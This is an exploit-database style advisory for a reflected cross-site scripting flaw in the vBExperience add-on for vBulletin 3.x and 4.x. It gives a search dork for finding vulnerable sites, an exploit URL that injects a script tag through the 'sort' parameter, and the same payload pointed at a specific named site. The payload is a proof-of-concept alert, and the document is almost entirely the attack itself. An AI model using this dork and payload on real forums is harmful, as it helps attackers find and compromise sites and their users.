The vBExperience add-on as shipped with vBulletin versions 3.x.x and 4.x.x suffers from a cross site scripting vulnerability.
e45483003574c24072a4ea684eb504b8ab7dfaaaf34ed36b7ffdcec312891b79
++++++++++++++++++++++++++++++++++++++++
[~] Author : Mr.ThieF <~
[~] Contact : Mr.ThieF@yahoo.com <~
[~] DorK : inurl:xperience.php
[~] Software Link : http://www.vbulletin.org/forum/showthread.php?t=245023
[~] Version : 4.x.x - 3.x.x
[~] Exploit :
http://[site]/[path]/xperience.php?go=ranking&order=asc&sort="><script>alert(1);</script>
[~] Example :
http://www.vbaddict.net/xperience.php?go=ranking&order=asc&sort="><script>alert(1);</script>
++++++++++++++++++++++++++++++++++++++++